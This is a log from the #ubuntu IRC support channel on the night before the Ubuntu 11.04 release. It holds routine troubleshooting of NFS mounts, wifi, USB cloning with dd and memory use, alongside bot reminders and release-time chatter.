[00:00] <frugi> is there a release party channel around ?
[00:00] <franciel> ! ldap ssh
[00:00] <wizards> ? party channel ? what is it? :D
[00:00] <IdleOne> !party
[00:01] <ubottu> Please remember that #ubuntu, #kubuntu, #xubuntu, and #edubuntu are support channels. To countdown to Natty release and then party once it happens, join #ubuntu-release-party - For in-person parties, see http://loco.ubuntu.com/events/global/744/detail/
[00:01] <KM0201> !party
[00:01] <itaylor57> frugi: #ubuntu-release=party
[00:01]  * KM0201 glares..
[00:01] <jpk> escott: It's the new one.  The old one is still on the disk, but commented out in /etc/fstab, and isn't listed in swapon -s anymore.
[00:02] <Zahrada> I tried booking this band, but for some absolutely bonkers reason, they're not within my budget range: http://www.youtube.com/watch?v=oHg5SJYRHA0
[00:03] <prakas> how many days a ubuntu system booting from a usb pen drive last considering such a drive has a fixed number of write cycles.
[00:03] <IdleOne> Zahrada: Please don't post irrelevant links in here
[00:04] <timdot> prakas.. quite some time still, i'd imagine
[00:04] <harrihu> Hello
[00:04] <harrihu> again
[00:04] <Zahrada> I mispasted IdleOne.
[00:05] <IdleOne> Zahrada: odd you wqould mispaste a rickroll
[00:05] <IdleOne> would*
[00:05] <IdleOne> Zahrada: anyway please keep comments Ubuntu support related.
[00:06] <kyle____> lease install the package with full kernel sources for your distribution - that is what it says when i try to run the installer for my audio driver
[00:06] <kyle____> E: Unable to locate package kernel-headers-2.6.35-28-generic-pae
[00:06] <kyle____> how do i fix this?
[00:07] <prakas> timdot: i am not writing to any directory. just using the machine as a nat gateway
[00:07] <Zahrada> It's true though. I'm part of a ngo that's organising a music festival in my local town...
[00:07] <Zahrada> for unicef
[00:08] <timdot> prakas: i'd imagine a good few years - i may be wrong though and it's impossible to predict exactly
[00:08] <prakas> hmm
[00:08] <harrihu> Sorry to be a bother but I'm having issues connecting to wifi on ubuntu 10 something with my netgear pci 802.11g wifi card. It shows a wifi symbol up near the clock in the corner with a red ! and has grayed out wired connection thing in the list and doesn't acknowledge wifi there. I can set wifi settings but at no point does it give me the option to connect.
[00:08] <zvacet> kyle____: install headers from synaptic	
[00:08] <fero> cf
[00:08] <kyle____> it says they are installed
[00:08] <prakas> is there a way to clone this usb pen drive incase it fails?so that i can use the other pen drive to boot
[00:09] <zvacet> kyle____: this specific package kernel-headers-2.6.35-28-generic-pae
[00:09] <pindropper> harrihu: i was having similar problems. i updated using the update manager... and now it works fine.
[00:09] <tactix> question: shouldn't the command "lsmod" and "modprobe -l" give the same output for loaded modules?
[00:09] <pooltable> 11.4 come out on 28 apr 2011 right at what time midnight edt ???
[00:09] <timdot> prakas: yeah, you can use the 'dd' command for that
[00:09] <kyle____> yes
[00:09] <jpk> prakas: `man dd` might help you.
[00:09] <escott> jpk, was thinking that maybe resume was trying to load a stale image from the old swap partition
[00:09] <prakas> hmmm ty
[00:09] <harrihu> pindropper it's not hooked up to the internet
[00:09] <Pici> pooltable: Natty is not yet released and there is no predetermined time on the 28th when it will be. Await the release in #ubuntu-release-party or for more questions join #ubuntu+1
[00:10] <zvacet> kyle____: sory then I can help you
[00:10] <zvacet> *can not
[00:10] <harrihu> but thanks for the suggestion pin
[00:10] <pooltable> pici just wonder fit it had a set time thanks
[00:10] <pooltable> it
[00:10] <LinSteveH> I'm running Ubuntu 10.04 and I am trying to do an nfs mount from  a NAS that cannot do nfs4.  My mount fails, and when I put -vvvvv as a flag, I see that the out put says, "mount.nfs: mount(2): Connection refused
[00:10] <pindropper> harrihu: theres your problem then. if the internets not on but your wifi is... strange as it is, at least in my experience, ubuntu refuses to connect
[00:10] <LinSteveH> mount.nfs: trying text-based options 'vers=4,addr=192.168.10.41,clientaddr=192.168.10.80'" before it fails.   How do I get it NOT to use nfs4??
[00:11] <gedas> guys, I couldn't find the answer on ubuntu formus, and I am not trolling. Do you think ok-smelling sandwitches are still ok to eat after staying for a day in room temperature (version - smoked ham, ubuntu 10.10). (I just read the IRC guidelines, they didn't seem to forbid this)
[00:11] <harrihu> no no it's not connecting to the router not just the internet
[00:11] <harrihu> I'm on a windows machine now
[00:11] <pooltable> how long will 10.10 wil have support ???/
[00:11] <ohzie> gedas: We don't troubleshoot sandwiches. :(
[00:11] <gedas> ahh, sorry about that, i'll have to find a more suitable room to ask:(
[00:11] <cybrhuman> gedas: eat the before they eat you
[00:12] <pindropper> harrihu: thats what i said, if the routers not connected to the internet, ubuntu sometimes wont connect to your wifi either.
[00:12] <RandomAndGone> Does anyone know when 11.4 goes live? It's the 28th in London.
[00:12] <harrihu> The router is connected to the internet thats how I'm on
[00:12] <zvacet> pooltable: 18 months
[00:12] <zzecool> it 28th in Greece too :P
[00:12] <IdleOne> !party | RandomAndGone
[00:12] <ubottu> RandomAndGone: Please remember that #ubuntu, #kubuntu, #xubuntu, and #edubuntu are support channels. To countdown to Natty release and then party once it happens, join #ubuntu-release-party - For in-person parties, see http://loco.ubuntu.com/events/global/744/detail/
[00:12] <pindropper> harrihu: you might also want to try and do "edit connections" and add one in manually and try.
[00:13] <jpk> escott: Ah, I see.  I figure it's something like that.  I just haven't yet been able to find where/how the thing that resumes finds the stuff in swap to verify that it's looking in the right place.
[00:13] <pindropper> harrihu: is your wireless network a hidden one by any chance? try create new wireless, or hidden wireless connection and see if that helps
[00:13] <harrihu> There is nothing wrong with the wifi router it's all with the linux machine
[00:14] <pindropper> harrihu: read my previous two suggestions
[00:14] <harrihu> if there was something wrong with the router I wouldn't be able to connect on this other pc
[00:14] <harrihu> thanks for the suggestions pindropper
[00:14] <harrihu> looking into it
[00:14] <yuanye> i want to change the close botton of chrome to the right
[00:14] <yuanye> for help
[00:15] <pindropper> i am trying to figure out a way to execute a command on a double key press. Is this at all possible through bash? The keyboard shortcut mappings don't provide a way to capture double key presses.
[00:15] <LinSteveH> I'm running Ubuntu 10.04 and I am trying to do an nfs mount from a NAS that cannot do nfs4. My mount fails, and when I put -vvvvv as a flag, I see that the out put says, "mount.nfs: mount(2): Connection refused	mount.nfs: trying text-based options 'vers=4,addr=192.168.10.41,clientaddr=192.168.10.80'" before it fails. How do I get it NOT to use nfs4??
[00:15] <harrihu> wireless network is not hidden and I did try adding one manually
[00:15] <pindropper> harrihu: and...?
[00:15] <harrihu> it never even gives me the button "connect"
[00:16] <harrihu> it just gives me an add button and ok
[00:16] <harrihu> and a delete etc
[00:16] <harrihu> I never see the network listed and it's not hidden
[00:16] <prakas> will dd if=/dev/sda of=/dev/sdb copy the entire file systems in sda to sdb with boot sectors preserved?
[00:16] <harrihu> I don't think the wifi card works with the OS
[00:16] <pindropper> harrihu: does it even attempt to connect? you know once you've added the network... does it try to connect?
[00:17] <cybrhuman> prakas: think so
[00:17] <harrihu> nope
[00:17] <prakas> considering sda and sdb are usb removable disks (pen drives)
[00:17] <pindropper> harrihu: did it ever work?
[00:17] <harrihu> nope
[00:17] <KM0201> harrihu: what device is it, do you know?
[00:17] <LinSteveH> harrihu: What does the output look like with "iwconfig wlan0"?
[00:18] <pindropper> harrihu: ah . in that case there is a very good chance you need proprietary drivers. which you wont know until you connect. you might want to try connecting through a lan cable and get it to work.
[00:18] <escott> jpk, but from what you said it appears that is not happening
[00:18] <harrihu> whats iwconfig wlan0?
[00:18] <robert05ad> iwconfig is like ifconfig but for wireless I believe
[00:18] <LinSteveH> harrihu: it is a comman line.
[00:19] <robert05ad> iwconfig wlan0 will tell you the status of wlan0
[00:19] <harrihu> ok
[00:19] <harrihu> well it's almost impossible to get this machine hooked up wired
[00:19] <harrihu> I could try but if theres any other way
[00:19] <robert05ad> what problem you have with wired?
[00:20] <harrihu> the router is upstairs very far away from the box with no plugs and this box is built into a home theater system
[00:20] <pooltable> where is a place to buy ubuntu 11.4 ???
[00:20] <robert05ad> ah ok
[00:20] <pindropper> harrihu: i know.. its a bit of a fix if you have problems with wired. but really, ubuntu will notify you of possible problems or updates once you connect. maybe a phone/usb/3g/edge sharing , even for 10 mins might help.
[00:20] <LinSteveH> harrihu: If you getnoting useful from iwconfig, do a google with "{name of wifi card} +ubuntu +driver +download"
[00:21] <robert05ad> pooltable, check ubuntu's website, they have resellers
[00:21] <cybrhuman> pooltable: there is no need to buy it, just download it when it is released
[00:21] <harrihu> hmm you know what I'll give it a try
[00:21] <LinSteveH> harrihu: getnoting==get nothing
[00:21] <robert05ad> when you type iwconfig wlan0 what do you get?
[00:21] <harrihu> I have a usb wifi stick and if that fails I'll take the time to get the computer up there
[00:21] <zvacet> pooltable: https://shop.canonical.com/
[00:22] <robert05ad> running in vmware? ?
[00:22] <harrihu> one moment robert05ad I'll try that.
[00:22] <LinSteveH> I'm running Ubuntu 10.04 and I am trying to do an nfs mount from a NAS that cannot do nfs4. My mount fails, and when I put -vvvvv as a flag, I see that the out put says, "mount.nfs: mount(2): Connection refused	mount.nfs: trying text-based options 'vers=4,addr=192.168.10.41,clientaddr=192.168.10.80'" before it fails. How do I get it NOT to use nfs4??
[00:23] <pooltable> zvacet i just see 10.10 i want 11.4
[00:23] <LinSteveH> I;ve heard that 10* is a little buggy in nfs.  Does anyone concur?
[00:23] <robert05ad> oh oh Lin, I know that answer... but not off the top of my head lol it's a mount option but i forget
[00:23] <cybrhuman> pooltable: 11.04 isn't released yet as far as I know
[00:23] <robert05ad> I just removed my ubuntu from my VM machine so I cant help to remember it lol
[00:23] <robert05ad> waiting on 11.04
[00:23] <rww> cybrhuman: correct
[00:24] <robert05ad> none are released yet
[00:24] <pooltable> cybrhuman i see
[00:24] <LinSteveH> robert05ad: I have "nfs" not "nfs4" as my mount type.
[00:24] <dibs> Hey all. I'm out in New Zealand and it's the 28th, how do I get from Mav to Natty?
[00:24] <top_ramen> can someone help me real quick. I think i am doing something wrong with setting up my live USB
[00:24] <robert05ad> right lin
[00:24] <rww> dibs: It's not released yet.
[00:24] <LinSteveH> top_ramen: Whatcha doing?
[00:25] <robert05ad> shoot regretting removing it now..
[00:25] <prakas> top_ramen: just put a regular cd and install to the usb disk
[00:25] <robert05ad> try man mount
[00:25] <zvacet> pooltable: 11.04 will be out today so you will have chance to buy it
[00:25] <dibs> rww: But it's supposed to be out today yeah?
[00:25] <robert05ad> yeah Dibs
[00:25] <robert05ad> few hours yet
[00:25] <rww> dibs: It's due out some time in the period that it's April 28th somewhere in the world.
[00:25] <top_ramen> I but 10.10 on a usb and use the usb install exe thats on the ubuntu.com/download page to set the usb up
[00:25] <zvacet> dibs: depends on time zone  :)
[00:25] <pooltable> here another location for al http://distrowatch.com/
[00:25] <pooltable> all
[00:26] <dibs> sweet, anyone know where a countdown is
[00:26] <prakas> i use 7.04 fiesty fawn lol
[00:26] <robert05ad> when 10 came out we were all sitting in here until like 2 am lol, (central time)
[00:26] <top_ramen> but my computer is not recongizing it as a bootable usb
[00:26] <rww> dibs: There is no set time, hence no countdown.
[00:26] <dibs> dammit, I was hoping to get an hour or two down time while I upgrade. Gah, will have to get back to work
[00:26] <jpk> escott: I guess what I mean is some resume code goes, "let's see if there's an image in the old swap partition... oh, wait, it's not there anymore.  Oh well, just do a normal boot."  Then later on when something looks at the new swap partition, it sees an image in there and goes, "What's this crap?  We're doing a normal boot."  Then clears it out.  Or something.  My biggest enemy, here, is I don't know how resume works yet. :-P
[00:27] <robert05ad> lol dibs
[00:27] <dibs> Is upgrding using the update-manager -d risky? like it will use the same repo yeah?
[00:27] <LinSteveH> top_ramen: I think that you need to explicitly copy the 0th sector from the cd (cdimage) to the usb.
[00:27] <pooltable> what time was 10.10 out ?
[00:27] <top_ramen> Lin, ummm what?
[00:27] <escott> jpk, did you leave the old swap partition unchanged, you could write a new filesystem on top of it
[00:27] <uncmar> 3 in the morning  Next stupid question.
[00:27] <prakas> i still prefer 7.04 lol
[00:27] <top_ramen> uncmar, whats your name?
[00:27] <dibs> Anyone got Mark's number, let's take this to the top
[00:28] <prakas> it is more lightweight
[00:28] <prakas> 10.10 takes a lot of time to load
[00:28] <robert05ad> hey Lin, did you try mount -t nfs option?
[00:28] <rww> !party
[00:28] <ubottu> Please remember that #ubuntu, #kubuntu, #xubuntu, and #edubuntu are support channels. To countdown to Natty release and then party once it happens, join #ubuntu-release-party - For in-person parties, see http://loco.ubuntu.com/events/global/744/detail/
[00:28] <uncmar> 10.10 = 10 of 2010 or October.
[00:28] <robert05ad> instead of -t nfs4
[00:29] <LinSteveH> top_ramen: I think that you need to do "dd if={cd|cdimage} of={usb location} count=1
[00:29] <uncmar> top_ramen: my name is annoyed beyond belief, so.. Um.  wann come stay in my area.  we got lots of tornadoes to go, round and round fer ya.
[00:29] <pooltable> no what time of the day ?
[00:29] <_chun> join #python
[00:29] <_chun> whoops
[00:29] <pooltable> i know 11.4= 2011 apr
[00:29] <zvacet> uncmar: 10.10= october 2010
[00:29] <top_ramen> uncmar, I am in kansas... im good lol
[00:30] <Alterno> Hia
[00:30] <Alterno> Banshee media player won't play files
[00:30] <LinSteveH> robert05ad: Yes, I did...it still tries to force vers=4 onto the commandline.
[00:30] <Alterno> Banshee media player won't play files, remains idle, why ?
[00:30] <zvacet> uncmar: sorry it is 2010 october
[00:31] <Alterno> Banshee media player won't play files, remains idle, why ?
[00:31] <jpk> escott: Yeah, besides unmounting/swapoff'ing it, I left it alone.
[00:31] <uncmar> 6.06 should have come out on 6.6.6  It would have been a triplet but  more impressive, 6-6 1947? was Doomsday.
[00:31] <uncmar> Or rather, D-Day.
[00:31] <LinSteveH> Alterno: does any sound program work, or just banshee is busted?
[00:31] <KidDeath> Good evening everyone :)
[00:32] <hiexpo> hey is there a command to flush the cache
[00:32] <uncmar> anyhow. pooltable I don't know what time of day any of the releases where. sorry.
[00:32] <Alterno> just banshee it seems, i have to re import files to ake it work
[00:32] <zvacet> uncmar: little bit of topic don´t you think
[00:32] <uncmar> hiexpo: which cashe?
[00:32] <top_ramen> Lin, can you check your queries
[00:32] <Alterno> just banshee it seems, i have to re import files to make it work
[00:32] <escott> jpk, i don't buy the proposed source of the error you suggested, but if you want to be sure i would make that and ext4 partition
[00:32] <ActionParsnip> hiexpo: cache of what?
[00:32] <Alterno> shows idle stats atm
[00:32] <Devil999> hi all
[00:32] <LinSteveH> top_ramen: Queries??
[00:32] <hiexpo> ActionParsnip, my ram
[00:32] <uncmar> zvacet: nope, My 6.06 is currently broken, so right on the topic of why I'm here.
[00:32] <robert05ad> Hello Devil999
[00:33] <top_ramen> Lin, Yeah i sent you a query
[00:33] <ActionParsnip> hiexpo: do you mean swap space? If you flush the ram then the system will cease to be
[00:33] <Devil999> how's it going? any news for 11.04?
[00:33] <zvacet> uncmar: why do you use unsupported version
[00:33] <LinSteveH> {blush} not knowing what it was, I closed the tab.
[00:33] <top_ramen> Lin, sent again ^^
[00:33] <zvacet> uncmar: do you use server
[00:33] <uncmar> because it was a running server.  that I didn't want to take time to upgrade.
[00:34] <KidDeath> Why is it when I listen the channels on XChat, I can't join anything? x.x
[00:34] <hiexpo> ActionParsnip, well after like today i had 146.00 gig in ram being used and only have 2 gig ram
[00:34] <uncmar> spending a DAY to upgrade/revive a system from an upgrade attempt stinks.
[00:34] <Alterno> any idea?
[00:34] <ActionParsnip> hiexpo: can you give the output of:   free -m
[00:34] <zvacet> uncmar: is there any reason not to upgrade now
[00:34] <uncmar> zvacet: so, I just answered both questions with one answer.
[00:35] <zvacet> uncmar: ok
[00:35] <uncmar> nope, Right out of ubuntu. though I must admint Ubuntu wasn't the reason for the failure.  *I AM*
[00:35] <uncmar> *admit
[00:36] <jpk> escott: Ah, I see.  I'll try that, then.
[00:36] <hiexpo> ActionParsnip, i rebooted so not anymore but here it is  http://pastebin.com/hStiPUnS
[00:36] <ActionParsnip> hiexpo: when it's high, rerun it
[00:36] <mjs> hi all...looking for a little hand holding using webmin to configure proftpd...all i want to do is allow a single user (not myself, or anonymous access to my /home/user/Pictures directory?
[00:36] <uncmar> I'd switch to fedora or.. well, I could eventually think of another, but I'm not ready to do a near Complete relearn of tools.
[00:37] <ActionParsnip> hiexpo: you are only using 550Mb. You have 1884Mb available and have 1360Mb free
[00:38] <hiexpo> ActionParsnip, yes right now but as i do stuff it will rise maybe takes a day or two
[00:38] <Iker> Hola :)
[00:39] <uncmar> Now I remember why I'm here.
[00:39] <ActionParsnip> hiexpo: if its only cache then its fine, unused ram is wasted ram
[00:39] <Afteraffekt> when building from source, and doing autogen.sh is there a way to force, and make it finish, regardless of missing dependancies?
[00:39] <ActionParsnip> hiexpo: just watch the right hand value on the "-/+ buffers/cache" line
[00:39] <uncmar> of course I could attempt to poke around the net.  Need to know system requirements of 8.04 Live CD.  I won't dare attempt 9.04 or 10.04
[00:40] <ActionParsnip> hiexpo: that is the actual free ram
[00:40] <uncmar> I'm limited to 256Mb of ram.
[00:40] <pdc> hhhhhhh
[00:40] <linuxman410> need help with my display only has one resolution
[00:40] <fieris> what time is the launch of Ubuntu 11.04 ?
[00:40] <Pici> fieris: Natty is not yet released and there is no predetermined time on the 28th when it will be. Await the release in #ubuntu-release-party or for more questions join #ubuntu+1
[00:40] <fieris> okey thank.!
[00:41] <uncmar> Hmm, it is time for 11.04.  Time flies.  I hadn't give it any thought.
[00:41] <linuxman410> my video is intel 845ge built on board video
[00:41] <KidDeath> Wait.. I haven't been in the loop for a while. 11.04 is launching soon? :o
[00:42] <S-M-Gl> hello, can i update from 10.10 to 11.04 now, or do i have to wait until tomorrow?
[00:42] <uncmar> My upgrade attempt from 8.04 to 10.04 exploded, so I moved over to debian.  Closer to the trunk of the tree for stability.  Low and behold I have another dead ubuntu.
[00:42] <mknarr> KidDeath, it is supposed to launch tomorrow sime thme
[00:42] <mknarr> time*
[00:42] <ActionParsnip> linuxman410: run:  sudo lshw -C display     websearch for the product line to find guides. You may need an xorg.conf to make it work ok
[00:42] <KidDeath> Fascinating, looks like I have something new to play around with. :)
[00:42] <mknarr> :D
[00:42] <linuxman410> can someome tell me how to fix my display
[00:43] <uncmar> the alternates are installs only?
[00:43] <mknarr> drivers
[00:43] <linuxman410> ok
[00:43] <uncmar> linuxman410: in the old days we would just smack the TV harder to fix the display. Or call the TV repair man.
[00:43] <mknarr> lol @ uncmar
[00:44]  * uncmar shuts up.  I've spotted enough ill manorred sarcasm for one day.
[00:46] <w30> uncmar, or go to the hardware store and use their tube tester, which were geared to finding slightly poor tubes so as  to sell more  tubes.
[00:47] <crims0n> hola amigos
[00:47] <LinSteveH> I'm running Ubuntu 10.04 and I am trying to do an nfs mount from a NAS that cannot do nfs4. My mount fails, and when I put -vvvvv as a flag, I see that the out put says, "mount.nfs: mount(2): Connection refused	mount.nfs: trying text-based options 'vers=4,addr=192.168.10.41,clientaddr=192.168.10.80'" before it fails. How do I get it NOT to use nfs4??
[00:47] <LinSteveH> ... and yes, I use -t nfs, NOT -t nfs4.
[00:48] <amalgama> a question : "sudo apt-get dist-upgrade" doesnt work anymore???
[00:49] <Pici> amalgama: It works fine here.
[00:49] <botcity> amalgama: say what?..
[00:50] <Vorenii> any idea how long itll take before 11.04 is released?
[00:50] <Pici> !dist-upgrade | make sure you understand what its supposed to do though amalgama
[00:50] <ubottu> make sure you understand what its supposed to do though amalgama: A dist-upgrade will install new dependencies for packages already installed and may remove packages if they are no longer needed. Please see !upgrade for the proper way to upgrade to a new version of Ubuntu.
[00:50] <ActionParsnip> !11.04
[00:50] <ubottu> Natty Narwhal is the codename for Ubuntu 11.04, due April 28 2011. Help and support (only) in #ubuntu+1. Natty is beta and is not currently intended for production systems.
[00:50] <ActionParsnip> Vorenii: ^
[00:50] <Pici> Vorenii: Natty is not yet released and there is no predetermined time on the 28th when it will be. Await the release in #ubuntu-release-party or for more questions join #ubuntu+1
[00:51] <dam85_> someone use lighttpd ?
[00:51] <amalgama> hmmm... i was using dist-upgrade in order to go from one version to another
[00:52] <amalgama> !upgrade
[00:52] <ubottu> For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[00:53] <dam85_> include "/home/lighttpd/vhosts/*/conf/vhost.conf" it's wrong
[00:53] <dam85_> how can i correct it?
[00:53] <dam85_> i have to change *
[00:53] <dam85_> with * I mean all the directories inside there
[00:54] <katsrc> hey, can someone recommend me a good PPA for GIMP 2.7.2?
[00:56] <kaushal> Hi
[00:56] <kaushal> is there a way to know when Ubuntu Server 10.04 LTS has been installed ?
[00:57] <kaushal> on a specific server
[00:57] <Alastaur> when or if?
[00:57] <Alastaur> not sure what  you're asking
[00:58] <kaushal> Alastaur: for desktop we have installer.log
[00:58] <Ziber> In ubuntu, is there any way to sync all files between two folders? As in, I want them to be exactly the same, and they mostly already are. Rather than recopying everything, is there a tool to just recopy whats changed?
[00:58] <NxtGenCowboy> Can someone recommend a good dock (docky,awn,cario-dock,etc)?
[00:58] <Ampelbein> Ziber: rsync can do that
[00:59] <mknarr> NxtGenCowboy, i loke cario-dock
[00:59] <mknarr> like*
[00:59] <Ziber> Ampelbein: hm, thanks
[00:59] <NxtGenCowboy> mknarr, I havent tried that one yet.. the last 2 I tried.. really had a good chunk of bugs when compiz was running
[00:59] <Devil999> Ziber, i use Unison. I think it's simpler, and has GUI. Your choice!
[01:00] <meisth0th> hello
[01:00] <PedroLRNeves> oi
[01:00] <meisth0th> when will 11.04 be available for download?
[01:00] <mknarr> tomorrow some time
[01:00] <Ziber> Devil999: rsync works, thanks tho
[01:00] <mknarr> i mean the 28th*
[01:01] <meisth0th> mknarr, what's the date there?
[01:01] <mknarr> meisth0th, 27 8pm
[01:01] <meisth0th> Thu Apr 28 03:01:20 EEST 2011
[01:01] <sdegutis> hello. i am using some kind of irc client.
[01:02] <Devil999> sdegutis, is that a question?
[01:02] <sdegutis> not really, no.
[01:02] <sdegutis> im writing it, too.
[01:02] <sdegutis> and im using it.
[01:03] <sdegutis> just thought id let you know.
[01:03] <Devil999> ok, then...
[01:03] <mknarr> where is the main premissions file located on ubuntu 10.04
[01:03] <usr13> sdegutis: You sure are.
[01:03] <sdegutis> thanks.
[01:03] <sdegutis> i try.
[01:03] <sdegutis> its not very good though.
[01:03] <Ampelbein> mknarr: can you elaborate? what are you looking for?
[01:03] <sdegutis> but thats ok because its mine.
[01:03] <usr13> sdegutis: Looks like it's working like a charm.
[01:04] <EnderW> Any1 know when 11.04 is coming live?
[01:04] <mknarr> Im looking for the file that holds all of the premissions  and or user group info
[01:04] <sdegutis> well, you arent on this side of it.
[01:04] <sdegutis> on this side its pretty crappy.
[01:04] <Ph0n7r1c> hi can someone tell me how i can get synaptic manager to start
[01:04] <usr13> mknarr: Well, there is /etc/groups
[01:04] <sdegutis> its ui is largely html+css+jquery, even though its a desktop app.
[01:04] <Devil999> sdegutis, that's really something. gratz.
[01:05] <sdegutis> well, not really.
[01:05] <mknarr> usr13,  says it dosnt exsist
[01:05] <sdegutis> it doesnt work on ubuntu though.
[01:05] <usr13> Ph0n7r1c: Alt-F2 synaptic
[01:05] <sdegutis> you guys just talk a lot, which helps me look at my client :)
[01:05] <sdegutis> especially the scrolling and stuff
[01:05] <usr13> mknarr: Well, there is /etc/group
[01:05] <usr13> mknarr: Sorry, typo
[01:05] <itguru> Does Gwibber crap out for anyone after a few weeks?
[01:06] <Devil999> sdegutis, sure thing... just stick around. a lot of talk going to happen.
[01:06] <sdegutis> usually
[01:06] <sdegutis> thanks :)
[01:06] <sdegutis> i like making useless stuff :(
[01:06] <mknarr> I need to find an informative doc on how to work the user accs / groups ...
[01:06] <Ph0n7r1c> ph@Juliana:~$ sudo synaptic
[01:06] <Ph0n7r1c> sh: kde-config: not found
[01:06] <Ph0n7r1c> sh: kde-config: not found
[01:06] <Ph0n7r1c> Segmentation fault
[01:06] <FloodBot1> Ph0n7r1c: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[01:07] <usr13> mknarr: man group
[01:08] <Ph0n7r1c> its say kde-config not found how can that be i am using gnome
[01:08] <sdegutis> oh one thing i like about my client: when you send a msg to a channel which yo dont have permissions for (like ##linux whe you arent voiced), it gives your message a strikethrough
[01:09] <ogre> I seem to remember a website with deb packages for ubuntu. I tried installing ettercap-ng with the repos, but it errors out every time. I need that deb package or to install from source. Anyone know the name of the site?
[01:09] <usr13> mknarr: man useradd          man groupadd
[01:09] <ogre> n/m I found it
[01:10] <usr13> sdegutis: That's useful
[01:11] <usr13> ogre: :) sometimes we jog our memory just by formulating questions.
[01:11] <mknarr> What is the difference between the file "group" and "group-"
[01:11] <mknarr> im guessing the one with the - is a backup?
[01:11] <EnderW> Does 11.04 go live tonight?
[01:12] <usr13> mknarr: right
[01:12] <mknarr> it goes live the 20 sometime
[01:12] <EnderW> woot
[01:12] <mknarr> the 28***
[01:12] <sdegutis> kinda..
[01:12] <EnderW> I cant wait
[01:12] <sdegutis> although it doesnt have private messaging yet
[01:12] <crims0n> lolwut
[01:12] <crims0n> i forgot it's so soon
[01:12] <EnderW> What are the major changes for 11.04?
[01:12] <usr13> sdegutis: Well, get back to work!
[01:13] <Roydi> https://launchpad.net/ubuntu/+milestone/ubuntu-11.04 <-- "Expected:
[01:13] <Roydi>     12 minutes ago"
[01:13] <usr13> EnderW: They are widespread and often.
[01:13] <usr13> EnderW: (...sorry, couldn't resist...)
[01:13] <mmu_man> plop
[01:13] <Roydi> What's the time? (I'm in europe... ;))
[01:13] <EnderW> lawl
[01:13] <AsSlowAsHell> im looking for a good command line sound processing tool.  something CLI like sox but im looking for a specific feature, very slight audio length expansion/contraction.  basically, i have an audio source that gets 1 second off sync of another one after ~4 hours.  this means i need 3.33 samples out of 48000 removed from the slower source.  does anyone know of a proggy that can help me do that
[01:13] <AsSlowAsHell> ?
[01:14] <mmu_man> anyone can tell me if apt: links work when using :// ? like apt://build-essential ?
[01:14] <ActionParsnip> Roydi: europe spans MANY timezones
[01:14] <usr13> Roydi: 2:14
[01:14] <usr13> Roydi: (... sorry, again, I couldn't resist...)
[01:15] <mknarr> Would it matter if i edit the group file  to display eachgroup on a diff line ?
[01:15] <ssfdre38> how long till 11.04 is out?
[01:15] <oem> /usr/libgconf2-4/gconf-sanity-check-2exited with code 256 what is it and how do i fix it
[01:15] <mmu_man> ... it kinda violates the spirit of the RFCs but dokuwiki thinks apt is a namespace if I don't use :// :(
[01:15] <usr13> mknarr: they are already on separate lines.
[01:15] <mknarr> hmm weird  i DLed the file from my server to look at it
[01:16] <mknarr> and everything is on 1 line
[01:16] <ActionParsnip> ssfdre38: ask in #ubuntu+1 natty isofftopic here
[01:16] <Roydi> ActionParsnip, my timezone isn't important for my question :) Okay, let's ask a different way - When will Natty release in MY timezone (GMT+1)? :)
[01:16] <usr13> mknarr: With what app. are you viewing it?
[01:16] <Roydi> Sorry ;)
[01:16] <mknarr> usr13, notepad
[01:16] <ActionParsnip> Roydi: ask in #ubuntu+1 natty is offtopic here
[01:16] <usr13> mknarr:  That is why.
[01:16] <crims0n> notepad+ needs a linux build
[01:17] <usr13> mknarr: i suppose you would have to toggle wordwrap on or of or something... I dono....
[01:17] <Guest53833>  hello room
[01:18]  * itguru feels a bit excited ....
[01:18]  * itguru runs date on cli
[01:18] <mknarr> Im guessing that when im viewing the group  doc that if there isnt a usr/acc type beside a group it isnt in use?
[01:18] <usr13> itguru: Just another day in the life of a Ubuntu community....  :-)
[01:18] <itguru> It's THURSDAY!
[01:19] <reeceb> Anybody know how to connect a logitech C210 webcam to ubuntu? I'm having nothing but headaches
[01:19] <Guest53833> what are you guy s up to and whats new on ubuntu
[01:19] <mknarr> hammer
[01:19] <Guest53833> ?
[01:19] <mknarr> ?
[01:19] <ActionParsnip> itguru: it's the day after WEDNESADY
[01:19] <usr13> mknarr: Just means that no one has joined the group yet.
[01:19] <escott> mknarr, could be in use on the fs though
[01:19] <ActionParsnip> itguru: welcome to the calendar
[01:19] <itguru> ActionParsnip: True, but *this* thursday is special :)
[01:19] <mknarr> escott, aah true
[01:20] <ActionParsnip> itguru: true, but not yet
[01:20] <escott> ie the root
[01:20] <brisky83> hi everybody
[01:20] <oem> /usr/libgconf2-4/gconf-sanity-check-2exited with code 256 what is it and how do i fix it
[01:20] <usr13> escott:  yea that's right
[01:20] <ActionParsnip> reeceb: run:  lsusb   use the 8 character hex id to find guides. Logitech refuse to support linux so I suggest you avoid their products
[01:20] <xiambax> How much of a performance increase would i find if i installed a ssd in my desktop
[01:21] <xiambax> i dont really use it for anything intense as it is
[01:21] <brisky83> somebody use 3 monitor with 2 gpu on ubuntu?
[01:21] <itguru> ActionParsnip: Well, according to my calender, the position of the sun, and BBC News, I should be re installing all my test machines to 11.04 stable :)
[01:21] <escott> reeceb, have you checked the v4l website
[01:21] <ActionParsnip> xiambax: loading apps and the OS will improve
[01:21] <mknarr> should i be making say a user called WEB for my web stuff and adding the group "www-data" to it ?
[01:21] <xiambax> brb i will check newegg for prices
[01:21] <ActionParsnip> itguru: all that is moot, depends when the servers get updated
[01:21]  * itguru hits F5 in his browser ...
[01:21] <itguru> Dammit! Still 10.10 !
[01:22] <robert05ad> lol
[01:22] <escott> itguru, why not just update-manager -d
[01:22] <itguru> ActionParsnip: I'm just screwing around, I was kinda hoping that this time it woulda happened at midnight, but hey
[01:22] <ActionParsnip> itguru: 11.04 here ;)
[01:22] <reeceb> lsusb sees the camera but I don't know how to get to it
[01:22] <itguru> no worries, been running beta for weeks
[01:22] <itguru> !?
[01:22] <escott> reeceb, and you have v4l installed
[01:22]  * itguru hits F5 rapidly
[01:23] <ActionParsnip> reeceb: thats just the ID, use it to find uides
[01:23] <robert05ad> Where you at Actionparrship so I can get it too lol
[01:23] <wtracy1> itguru: while true; do date; sleep 1; done
[01:23] <ActionParsnip> *guides
[01:23] <hiexpo> reeceb, cheese
[01:23] <reeceb> I just installed ubuntu this last week for an embedded systems project so I'm still learning the terminal stuff
[01:23] <reeceb> I'm not sure if I have V4l installed
